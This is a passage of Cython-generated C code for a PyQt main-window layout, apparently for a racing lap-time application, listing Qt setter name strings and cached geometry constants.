{&__pyx_n_s_setBaseSize, __pyx_k_setBaseSize, sizeof(__pyx_k_setBaseSize), 0, 0, 1, 1}, {&__pyx_n_s_setBold, __pyx_k_setBold, sizeof(__pyx_k_setBold), 0, 0, 1, 1}, {&__pyx_n_s_setButtonSymbols, __pyx_k_setButtonSymbols, sizeof(__pyx_k_setButtonSymbols), 0, 0, 1, 1}, {&__pyx_n_s_setCalendarPopup, __pyx_k_setCalendarPopup, sizeof(__pyx_k_setCalendarPopup), 0, 0, 1, 1}, {&__pyx_n_s_setCascadingSectionResizes, __pyx_k_setCascadingSectionResizes, sizeof(__pyx_k_setCascadingSectionResizes), 0, 0, 1, 1}, {&__pyx_n_s_setCentralWidget, __pyx_k_setCentralWidget, sizeof(__pyx_k_setCentralWidget), 0, 0, 1, 1}, {&__pyx_n_s_setCheckState, __pyx_k_setCheckState, sizeof(__pyx_k_setCheckState), 0, 0, 1, 1}, {&__pyx_n_s_setColumnCount, __pyx_k_setColumnCount, sizeof(__pyx_k_setColumnCount), 0, 0, 1, 1}, {&__pyx_n_s_setContentsMargins, __pyx_k_setContentsMargins, sizeof(__pyx_k_setContentsMargins), 0, 0, 1, 1}, {&__pyx_n_s_setCornerButtonEnabled, __pyx_k_setCornerButtonEnabled, sizeof(__pyx_k_setCornerButtonEnabled), 0, 0, 1, 1}, {&__pyx_n_s_setCurrentIndex, __pyx_k_setCurrentIndex, sizeof(__pyx_k_setCurrentIndex), 0, 0, 1, 1}, {&__pyx_n_s_setCurrentText, __pyx_k_setCurrentText, sizeof(__pyx_k_setCurrentText), 0, 0, 1, 1}, {&__pyx_n_s_setCursor, __pyx_k_setCursor, sizeof(__pyx_k_setCursor), 0, 0, 1, 1}, {&__pyx_n_s_setDefaultDropAction, __pyx_k_setDefaultDropAction, sizeof(__pyx_k_setDefaultDropAction), 0, 0, 1, 1}, {&__pyx_n_s_setDefaultSectionSize, __pyx_k_setDefaultSectionSize, sizeof(__pyx_k_setDefaultSectionSize), 0, 0, 1, 1}, {&__pyx_n_s_setDisplayFormat, __pyx_k_setDisplayFormat, sizeof(__pyx_k_setDisplayFormat), 0, 0, 1, 1}, {&__pyx_n_s_setDocumentTitle, __pyx_k_setDocumentTitle, sizeof(__pyx_k_setDocumentTitle), 0, 0, 1, 1}, {&__pyx_n_s_setDragDropOverwriteMode, __pyx_k_setDragDropOverwriteMode, sizeof(__pyx_k_setDragDropOverwriteMode), 0, 0, 1, 1}, {&__pyx_n_s_setEditTriggers, __pyx_k_setEditTriggers, sizeof(__pyx_k_setEditTriggers), 0, 0, 1, 1}, {&__pyx_n_s_setEditable, __pyx_k_setEditable, sizeof(__pyx_k_setEditable), 0, 0, 1, 1}, {&__pyx_n_s_setEnabled, __pyx_k_setEnabled, sizeof(__pyx_k_setEnabled), 0, 0, 1, 1}, {&__pyx_n_s_setExpandsOnDoubleClick, __pyx_k_setExpandsOnDoubleClick, sizeof(__pyx_k_setExpandsOnDoubleClick), 0, 0, 1, 1}, {&__pyx_n_s_setFamily, __pyx_k_setFamily, sizeof(__pyx_k_setFamily), 0, 0, 1, 1}, {&__pyx_n_s_setFieldGrowthPolicy, __pyx_k_setFieldGrowthPolicy, sizeof(__pyx_k_setFieldGrowthPolicy), 0, 0, 1, 1}, {&__pyx_n_s_setFlags, __pyx_k_setFlags, sizeof(__pyx_k_setFlags), 0, 0, 1, 1}, {&__pyx_n_s_setFocus, __pyx_k_setFocus, sizeof(__pyx_k_setFocus), 0, 0, 1, 1}, {&__pyx_n_s_setFocusPolicy, __pyx_k_setFocusPolicy, sizeof(__pyx_k_setFocusPolicy), 0, 0, 1, 1}, {&__pyx_n_s_setFont, __pyx_k_setFont, sizeof(__pyx_k_setFont), 0, 0, 1, 1}, {&__pyx_n_s_setFormat, __pyx_k_setFormat, sizeof(__pyx_k_setFormat), 0, 0, 1, 1}, {&__pyx_n_s_setFrame, __pyx_k_setFrame, sizeof(__pyx_k_setFrame), 0, 0, 1, 1}, {&__pyx_n_s_setFrameShadow, __pyx_k_setFrameShadow, sizeof(__pyx_k_setFrameShadow), 0, 0, 1, 1}, {&__pyx_n_s_setFrameShape, __pyx_k_setFrameShape, sizeof(__pyx_k_setFrameShape), 0, 0, 1, 1}, {&__pyx_n_s_setGeometry, __pyx_k_setGeometry, sizeof(__pyx_k_setGeometry), 0, 0, 1, 1}, {&__pyx_n_s_setHeaderHidden, __pyx_k_setHeaderHidden, sizeof(__pyx_k_setHeaderHidden), 0, 0, 1, 1}, {&__pyx_n_s_setHeightForWidth, __pyx_k_setHeightForWidth, sizeof(__pyx_k_setHeightForWidth), 0, 0, 1, 1}, {&__pyx_n_s_setHighlightSections, __pyx_k_setHighlightSections, sizeof(__pyx_k_setHighlightSections), 0, 0, 1, 1}, {&__pyx_n_s_setHorizontalHeaderItem, __pyx_k_setHorizontalHeaderItem, sizeof(__pyx_k_setHorizontalHeaderItem), 0, 0, 1, 1}, {&__pyx_n_s_setHorizontalScrollBarPolicy, __pyx_k_setHorizontalScrollBarPolicy, sizeof(__pyx_k_setHorizontalScrollBarPolicy), 0, 0, 1, 1}, {&__pyx_n_s_setHorizontalScrollMode, __pyx_k_setHorizontalScrollMode, sizeof(__pyx_k_setHorizontalScrollMode), 0, 0, 1, 1}, {&__pyx_n_s_setHorizontalSpacing, __pyx_k_setHorizontalSpacing, sizeof(__pyx_k_setHorizontalSpacing), 0, 0, 1, 1}, {&__pyx_n_s_setHorizontalStretch, __pyx_k_setHorizontalStretch, sizeof(__pyx_k_setHorizontalStretch), 0, 0, 1, 1}, {&__pyx_n_s_setHtml, __pyx_k_setHtml, sizeof(__pyx_k_setHtml), 0, 0, 1, 1}, {&__pyx_n_s_setInputMask, __pyx_k_setInputMask, sizeof(__pyx_k_setInputMask), 0, 0, 1, 1}, {&__pyx_n_s_setInputMethodHints, __pyx_k_setInputMethodHints, sizeof(__pyx_k_setInputMethodHints), 0, 0, 1, 1}, {&__pyx_n_s_setItalic, __pyx_k_setItalic, sizeof(__pyx_k_setItalic), 0, 0, 1, 1}, {&__pyx_n_s_setItem, __pyx_k_setItem, sizeof(__pyx_k_setItem), 0, 0, 1, 1}, {&__pyx_n_s_setItemText, __pyx_k_setItemText, sizeof(__pyx_k_setItemText), 0, 0, 1, 1}, {&__pyx_n_s_setKerning, __pyx_k_setKerning, sizeof(__pyx_k_setKerning), 0, 0, 1, 1}, {&__pyx_n_s_setKeyboardTracking, __pyx_k_setKeyboardTracking, sizeof(__pyx_k_setKeyboardTracking), 0, 0, 1, 1}, {&__pyx_n_s_setLayout, __pyx_k_setLayout, sizeof(__pyx_k_setLayout), 0, 0, 1, 1}, {&__pyx_n_s_setLayoutDirection, __pyx_k_setLayoutDirection, sizeof(__pyx_k_setLayoutDirection), 0, 0, 1, 1}, {&__pyx_n_s_setLocale, __pyx_k_setLocale, sizeof(__pyx_k_setLocale), 0, 0, 1, 1}, {&__pyx_n_s_setMaxLength, __pyx_k_setMaxLength, sizeof(__pyx_k_setMaxLength), 0, 0, 1, 1}, {&__pyx_n_s_setMaximum, __pyx_k_setMaximum, sizeof(__pyx_k_setMaximum), 0, 0, 1, 1}, {&__pyx_n_s_setMaximumDate, __pyx_k_setMaximumDate, sizeof(__pyx_k_setMaximumDate), 0, 0, 1, 1}, {&__pyx_n_s_setMaximumDateTime, __pyx_k_setMaximumDateTime, sizeof(__pyx_k_setMaximumDateTime), 0, 0, 1, 1}, {&__pyx_n_s_setMaximumSize, __pyx_k_setMaximumSize, sizeof(__pyx_k_setMaximumSize), 0, 0, 1, 1}, {&__pyx_n_s_setMenuBar, __pyx_k_setMenuBar, sizeof(__pyx_k_setMenuBar), 0, 0, 1, 1}, {&__pyx_n_s_setMenuRole, __pyx_k_setMenuRole, sizeof(__pyx_k_setMenuRole), 0, 0, 1, 1}, {&__pyx_n_s_setMinimumSectionSize, __pyx_k_setMinimumSectionSize, sizeof(__pyx_k_setMinimumSectionSize), 0, 0, 1, 1}, {&__pyx_n_s_setMinimumSize, __pyx_k_setMinimumSize, sizeof(__pyx_k_setMinimumSize), 0, 0, 1, 1}, {&__pyx_n_s_setModelColumn, __pyx_k_setModelColumn, sizeof(__pyx_k_setModelColumn), 0, 0, 1, 1}, {&__pyx_n_s_setMouseTracking, __pyx_k_setMouseTracking, sizeof(__pyx_k_setMouseTracking), 0, 0, 1, 1}, {&__pyx_n_s_setObjectName, __pyx_k_setObjectName, sizeof(__pyx_k_setObjectName), 0, 0, 1, 1}, {&__pyx_n_s_setPlaceholderText, __pyx_k_setPlaceholderText, sizeof(__pyx_k_setPlaceholderText), 0, 0, 1, 1}, {&__pyx_n_s_setPointSize, __pyx_k_setPointSize, sizeof(__pyx_k_setPointSize), 0, 0, 1, 1}, {&__pyx_n_s_setProperty, __pyx_k_setProperty, sizeof(__pyx_k_setProperty), 0, 0, 1, 1}, {&__pyx_n_s_setReadOnly, __pyx_k_setReadOnly, sizeof(__pyx_k_setReadOnly), 0, 0, 1, 1}, {&__pyx_n_s_setRowCount, __pyx_k_setRowCount, sizeof(__pyx_k_setRowCount), 0, 0, 1, 1}, {&__pyx_n_s_setRowWrapPolicy, __pyx_k_setRowWrapPolicy, sizeof(__pyx_k_setRowWrapPolicy), 0, 0, 1, 1}, {&__pyx_n_s_setSelectionBehavior, __pyx_k_setSelectionBehavior, sizeof(__pyx_k_setSelectionBehavior), 0, 0, 1, 1}, {&__pyx_n_s_setSelectionMode, __pyx_k_setSelectionMode, sizeof(__pyx_k_setSelectionMode), 0, 0, 1, 1}, {&__pyx_n_s_setShortcut, __pyx_k_setShortcut, sizeof(__pyx_k_setShortcut), 0, 0, 1, 1}, {&__pyx_n_s_setSizeAdjustPolicy, __pyx_k_setSizeAdjustPolicy, sizeof(__pyx_k_setSizeAdjustPolicy), 0, 0, 1, 1}, {&__pyx_n_s_setSizeConstraint, __pyx_k_setSizeConstraint, sizeof(__pyx_k_setSizeConstraint), 0, 0, 1, 1}, {&__pyx_n_s_setSizePolicy, __pyx_k_setSizePolicy, sizeof(__pyx_k_setSizePolicy), 0, 0, 1, 1}, {&__pyx_n_s_setSortIndicatorShown, __pyx_k_setSortIndicatorShown, sizeof(__pyx_k_setSortIndicatorShown), 0, 0, 1, 1}, {&__pyx_n_s_setSortingEnabled, __pyx_k_setSortingEnabled, sizeof(__pyx_k_setSortingEnabled), 0, 0, 1, 1}, {&__pyx_n_s_setSpacing, __pyx_k_setSpacing, sizeof(__pyx_k_setSpacing), 0, 0, 1, 1}, {&__pyx_n_s_setSpecialValueText, __pyx_k_setSpecialValueText, sizeof(__pyx_k_setSpecialValueText), 0, 0, 1, 1}, {&__pyx_n_s_setStatusBar, __pyx_k_setStatusBar, sizeof(__pyx_k_setStatusBar), 0, 0, 1, 1}, {&__pyx_n_s_setStatusTip, __pyx_k_setStatusTip, sizeof(__pyx_k_setStatusTip), 0, 0, 1, 1}, {&__pyx_n_s_setStretchLastSection, __pyx_k_setStretchLastSection, sizeof(__pyx_k_setStretchLastSection), 0, 0, 1, 1}, {&__pyx_n_s_setStyleSheet, __pyx_k_setStyleSheet, sizeof(__pyx_k_setStyleSheet), 0, 0, 1, 1}, {&__pyx_n_s_setTabKeyNavigation, __pyx_k_setTabKeyNavigation, sizeof(__pyx_k_setTabKeyNavigation), 0, 0, 1, 1}, {&__pyx_n_s_setTabText, __pyx_k_setTabText, sizeof(__pyx_k_setTabText), 0, 0, 1, 1}, {&__pyx_n_s_setText, __pyx_k_setText, sizeof(__pyx_k_setText), 0, 0, 1, 1}, {&__pyx_n_s_setTextAlignment, __pyx_k_setTextAlignment, sizeof(__pyx_k_setTextAlignment), 0, 0, 1, 1}, {&__pyx_n_s_setTextVisible, __pyx_k_setTextVisible, sizeof(__pyx_k_setTextVisible), 0, 0, 1, 1}, {&__pyx_n_s_setTitle, __pyx_k_setTitle, sizeof(__pyx_k_setTitle), 0, 0, 1, 1}, {&__pyx_n_s_setToolTip, __pyx_k_setToolTip, sizeof(__pyx_k_setToolTip), 0, 0, 1, 1}, {&__pyx_n_s_setVerticalScrollBarPolicy, __pyx_k_setVerticalScrollBarPolicy, sizeof(__pyx_k_setVerticalScrollBarPolicy), 0, 0, 1, 1}, {&__pyx_n_s_setVerticalSpacing, __pyx_k_setVerticalSpacing, sizeof(__pyx_k_setVerticalSpacing), 0, 0, 1, 1}, {&__pyx_n_s_setVerticalStretch, __pyx_k_setVerticalStretch, sizeof(__pyx_k_setVerticalStretch), 0, 0, 1, 1}, {&__pyx_n_s_setViewMode, __pyx_k_setViewMode, sizeof(__pyx_k_setViewMode), 0, 0, 1, 1}, {&__pyx_n_s_setVisible, __pyx_k_setVisible, sizeof(__pyx_k_setVisible), 0, 0, 1, 1}, {&__pyx_n_s_setWeight, __pyx_k_setWeight, sizeof(__pyx_k_setWeight), 0, 0, 1, 1}, {&__pyx_n_s_setWhatsThis, __pyx_k_setWhatsThis, sizeof(__pyx_k_setWhatsThis), 0, 0, 1, 1}, {&__pyx_n_s_setWidget, __pyx_k_setWidget, sizeof(__pyx_k_setWidget), 0, 0, 1, 1}, {&__pyx_n_s_setWidgetResizable, __pyx_k_setWidgetResizable, sizeof(__pyx_k_setWidgetResizable), 0, 0, 1, 1}, {&__pyx_n_s_setWindowTitle, __pyx_k_setWindowTitle, sizeof(__pyx_k_setWindowTitle), 0, 0, 1, 1}, {&__pyx_n_s_setWordWrap, __pyx_k_setWordWrap, sizeof(__pyx_k_setWordWrap), 0, 0, 1, 1}, {&__pyx_n_s_setupUi, __pyx_k_setupUi, sizeof(__pyx_k_setupUi), 0, 0, 1, 1}, {&__pyx_n_u_showDropIndicator, __pyx_k_showDropIndicator, sizeof(__pyx_k_showDropIndicator), 0, 1, 0, 1}, {&__pyx_n_s_sizePolicy, __pyx_k_sizePolicy, sizeof(__pyx_k_sizePolicy), 0, 0, 1, 1}, {&__pyx_n_s_sortingEnabled, __pyx_k_sortingEnabled, sizeof(__pyx_k_sortingEnabled), 0, 0, 1, 1}, {&__pyx_n_s_spacerItem, __pyx_k_spacerItem, sizeof(__pyx_k_spacerItem), 0, 0, 1, 1}, {&__pyx_n_s_spacerItem1, __pyx_k_spacerItem1, sizeof(__pyx_k_spacerItem1), 0, 0, 1, 1}, {&__pyx_n_s_statusbar, __pyx_k_statusbar, sizeof(__pyx_k_statusbar), 0, 0, 1, 1}, {&__pyx_n_u_statusbar, __pyx_k_statusbar, sizeof(__pyx_k_statusbar), 0, 1, 0, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, {&__pyx_n_s_toolBox, __pyx_k_toolBox, sizeof(__pyx_k_toolBox), 0, 0, 1, 1}, {&__pyx_n_u_toolBox, __pyx_k_toolBox, sizeof(__pyx_k_toolBox), 0, 1, 0, 1}, {&__pyx_n_s_topLevelItem, __pyx_k_topLevelItem, sizeof(__pyx_k_topLevelItem), 0, 0, 1, 1}, {&__pyx_n_s_translate, __pyx_k_translate, sizeof(__pyx_k_translate), 0, 0, 1, 1}, {&__pyx_n_s_translate_2, __pyx_k_translate_2, sizeof(__pyx_k_translate_2), 0, 0, 1, 1}, {&__pyx_n_s_update, __pyx_k_update, sizeof(__pyx_k_update), 0, 0, 1, 1}, {&__pyx_n_u_value, __pyx_k_value, sizeof(__pyx_k_value), 0, 1, 0, 1}, {&__pyx_n_s_verticalHeader, __pyx_k_verticalHeader, sizeof(__pyx_k_verticalHeader), 0, 0, 1, 1}, {&__pyx_n_s_verticalLayout, __pyx_k_verticalLayout, sizeof(__pyx_k_verticalLayout), 0, 0, 1, 1}, {&__pyx_n_u_verticalLayout, __pyx_k_verticalLayout, sizeof(__pyx_k_verticalLayout), 0, 1, 0, 1}, {&__pyx_n_s_verticalLayoutWidget, __pyx_k_verticalLayoutWidget, sizeof(__pyx_k_verticalLayoutWidget), 0, 0, 1, 1}, {&__pyx_n_u_verticalLayoutWidget, __pyx_k_verticalLayoutWidget, sizeof(__pyx_k_verticalLayoutWidget), 0, 1, 0, 1}, {&__pyx_n_s_verticalLayoutWidget_2, __pyx_k_verticalLayoutWidget_2, sizeof(__pyx_k_verticalLayoutWidget_2), 0, 0, 1, 1}, {&__pyx_n_u_verticalLayoutWidget_2, __pyx_k_verticalLayoutWidget_2, sizeof(__pyx_k_verticalLayoutWidget_2), 0, 1, 0, 1}, {&__pyx_n_s_verticalLayoutWidget_3, __pyx_k_verticalLayoutWidget_3, sizeof(__pyx_k_verticalLayoutWidget_3), 0, 0, 1, 1}, {&__pyx_n_u_verticalLayoutWidget_3, __pyx_k_verticalLayoutWidget_3, sizeof(__pyx_k_verticalLayoutWidget_3), 0, 1, 0, 1}, {&__pyx_n_s_verticalLayout_P_Laptime, __pyx_k_verticalLayout_P_Laptime, sizeof(__pyx_k_verticalLayout_P_Laptime), 0, 0, 1, 1}, {&__pyx_n_u_verticalLayout_P_Laptime, __pyx_k_verticalLayout_P_Laptime, sizeof(__pyx_k_verticalLayout_P_Laptime), 0, 1, 0, 1}, {&__pyx_n_s_verticalLayout_P_Race, __pyx_k_verticalLayout_P_Race, sizeof(__pyx_k_verticalLayout_P_Race), 0, 0, 1, 1}, {&__pyx_n_u_verticalLayout_P_Race, __pyx_k_verticalLayout_P_Race, sizeof(__pyx_k_verticalLayout_P_Race), 0, 1, 0, 1}, {0, 0, 0, 0, 0, 0, 0} }; static int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_object = __Pyx_GetBuiltinName(__pyx_n_s_object); if (!__pyx_builtin_object) __PYX_ERR(0, 11, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "Ui_MainWindow.py":13 * class Ui_MainWindow(object): * def setupUi(self, MainWindow): * MainWindow.setObjectName("MainWindow") # <<<<<<<<<<<<<< * MainWindow.resize(800, 600) * MainWindow.setMinimumSize(QtCore.QSize(800, 600)) */ __pyx_tuple_ = PyTuple_Pack(1, __pyx_n_u_MainWindow); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple_); __Pyx_GIVEREF(__pyx_tuple_); /* "Ui_MainWindow.py":14 * def setupUi(self, MainWindow): * MainWindow.setObjectName("MainWindow") * MainWindow.resize(800, 600) # <<<<<<<<<<<<<< * MainWindow.setMinimumSize(QtCore.QSize(800, 600)) * MainWindow.setMaximumSize(QtCore.QSize(800, 600)) */ __pyx_tuple__2 = PyTuple_Pack(2, __pyx_int_800, __pyx_int_600); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__2); __Pyx_GIVEREF(__pyx_tuple__2); /* "Ui_MainWindow.py":15 * MainWindow.setObjectName("MainWindow") * MainWindow.resize(800, 600) * MainWindow.setMinimumSize(QtCore.QSize(800, 600)) # <<<<<<<<<<<<<< * MainWindow.setMaximumSize(QtCore.QSize(800, 600)) * MainWindow.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) */ __pyx_tuple__3 = PyTuple_Pack(2, __pyx_int_800, __pyx_int_600); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); /* "Ui_MainWindow.py":16 * MainWindow.resize(800, 600) * MainWindow.setMinimumSize(QtCore.QSize(800, 600)) * MainWindow.setMaximumSize(QtCore.QSize(800, 600)) # <<<<<<<<<<<<<< * MainWindow.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) * self.centralwidget = QtWidgets.QWidget(MainWindow) */ __pyx_tuple__4 = PyTuple_Pack(2, __pyx_int_800, __pyx_int_600); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__4); __Pyx_GIVEREF(__pyx_tuple__4); /* "Ui_MainWindow.py":19 * MainWindow.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) * self.centralwidget = QtWidgets.QWidget(MainWindow) * self.centralwidget.setObjectName("centralwidget") # <<<<<<<<<<<<<< * self.Tab_Container = QtWidgets.QTabWidget(self.centralwidget) * self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) */ __pyx_tuple__5 = PyTuple_Pack(1, __pyx_n_u_centralwidget); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__5); __Pyx_GIVEREF(__pyx_tuple__5); /* "Ui_MainWindow.py":21 * self.centralwidget.setObjectName("centralwidget") * self.Tab_Container = QtWidgets.QTabWidget(self.centralwidget) * self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) # <<<<<<<<<<<<<< * self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) */ __pyx_tuple__6 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_800, __pyx_int_560); if (unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__6); __Pyx_GIVEREF(__pyx_tuple__6); /* "Ui_MainWindow.py":22 * self.Tab_Container = QtWidgets.QTabWidget(self.centralwidget) * self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) * self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) # <<<<<<<<<<<<<< * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) * self.Tab_Container.setToolTip("") */ __pyx_tuple__7 = PyTuple_Pack(2, __pyx_int_800, __pyx_int_260); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__7); __Pyx_GIVEREF(__pyx_tuple__7); /* "Ui_MainWindow.py":23 * self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) * self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) # <<<<<<<<<<<<<< * self.Tab_Container.setToolTip("") * self.Tab_Container.setStatusTip("") */ __pyx_tuple__8 = PyTuple_Pack(2, __pyx_int_800, __pyx_int_560); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__8); __Pyx_GIVEREF(__pyx_tuple__8); /* "Ui_MainWindow.py":24 * self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) * self.Tab_Container.setToolTip("") # <<<<<<<<<<<<<< * self.Tab_Container.setStatusTip("") * self.Tab_Container.setAccessibleName("") */ __pyx_tuple__10 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__10); __Pyx_GIVEREF(__pyx_tuple__10); /* "Ui_MainWindow.py":25 * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) * self.Tab_Container.setToolTip("") * self.Tab_Container.setStatusTip("") # <<<<<<<<<<<<<< * self.Tab_Container.setAccessibleName("") * self.Tab_Container.setAccessibleDescription("") */ __pyx_tuple__11 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__11); __Pyx_GIVEREF(__pyx_tuple__11); /* "Ui_MainWindow.py":26 * self.Tab_Container.setToolTip("") * self.Tab_Container.setStatusTip("") * self.Tab_Container.setAccessibleName("") # <<<<<<<<<<<<<< * self.Tab_Container.setAccessibleDescription("") * self.Tab_Container.setObjectName("Tab_Container") */ __pyx_tuple__12 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__12); __Pyx_GIVEREF(__pyx_tuple__12); /* "Ui_MainWindow.py":27 * self.Tab_Container.setStatusTip("") * self.Tab_Container.setAccessibleName("") * self.Tab_Container.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.Tab_Container.setObjectName("Tab_Container") * self.T_Racer = QtWidgets.QWidget() */ __pyx_tuple__13 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__13)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__13); __Pyx_GIVEREF(__pyx_tuple__13); /* "Ui_MainWindow.py":28 * self.Tab_Container.setAccessibleName("") * self.Tab_Container.setAccessibleDescription("") * self.Tab_Container.setObjectName("Tab_Container") # <<<<<<<<<<<<<< * self.T_Racer = QtWidgets.QWidget() * self.T_Racer.setToolTip("") */ __pyx_tuple__14 = PyTuple_Pack(1, __pyx_n_u_Tab_Container); if (unlikely(!__pyx_tuple__14)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__14); __Pyx_GIVEREF(__pyx_tuple__14); /* "Ui_MainWindow.py":30 * self.Tab_Container.setObjectName("Tab_Container") * self.T_Racer = QtWidgets.QWidget() * self.T_Racer.setToolTip("") # <<<<<<<<<<<<<< * self.T_Racer.setAccessibleName("") * self.T_Racer.setObjectName("T_Racer") */ __pyx_tuple__15 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__15)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__15); __Pyx_GIVEREF(__pyx_tuple__15); /* "Ui_MainWindow.py":31 * self.T_Racer = QtWidgets.QWidget() * self.T_Racer.setToolTip("") * self.T_Racer.setAccessibleName("") # <<<<<<<<<<<<<< * self.T_Racer.setObjectName("T_Racer") * self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) */ __pyx_tuple__16 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__16); __Pyx_GIVEREF(__pyx_tuple__16); /* "Ui_MainWindow.py":32 * self.T_Racer.setToolTip("") * self.T_Racer.setAccessibleName("") * self.T_Racer.setObjectName("T_Racer") # <<<<<<<<<<<<<< * self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) * self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) */ __pyx_tuple__17 = PyTuple_Pack(1, __pyx_n_u_T_Racer); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__17); __Pyx_GIVEREF(__pyx_tuple__17); /* "Ui_MainWindow.py":34 * self.T_Racer.setObjectName("T_Racer") * self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) * self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) # <<<<<<<<<<<<<< * self.scrollArea.setWidgetResizable(True) * self.scrollArea.setObjectName("scrollArea") */ __pyx_tuple__18 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_261, __pyx_int_531); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__18); __Pyx_GIVEREF(__pyx_tuple__18); /* "Ui_MainWindow.py":35 * self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) * self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) * self.scrollArea.setWidgetResizable(True) # <<<<<<<<<<<<<< * self.scrollArea.setObjectName("scrollArea") * self.scrollAreaWidgetContents = QtWidgets.QWidget() */ __pyx_tuple__19 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__19); __Pyx_GIVEREF(__pyx_tuple__19); /* "Ui_MainWindow.py":36 * self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) * self.scrollArea.setWidgetResizable(True) * self.scrollArea.setObjectName("scrollArea") # <<<<<<<<<<<<<< * self.scrollAreaWidgetContents = QtWidgets.QWidget() * self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 259, 529)) */ __pyx_tuple__20 = PyTuple_Pack(1, __pyx_n_u_scrollArea); if (unlikely(!__pyx_tuple__20)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__20); __Pyx_GIVEREF(__pyx_tuple__20); /* "Ui_MainWindow.py":38 * self.scrollArea.setObjectName("scrollArea") * self.scrollAreaWidgetContents = QtWidgets.QWidget() * self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 259, 529)) # <<<<<<<<<<<<<< * self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") * self.L_racerlist = QtWidgets.QListWidget(self.scrollAreaWidgetContents) */ __pyx_tuple__21 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_259, __pyx_int_529); if (unlikely(!__pyx_tuple__21)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__21); __Pyx_GIVEREF(__pyx_tuple__21); /* "Ui_MainWindow.py":39 * self.scrollAreaWidgetContents = QtWidgets.QWidget() * self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 259, 529)) * self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") # 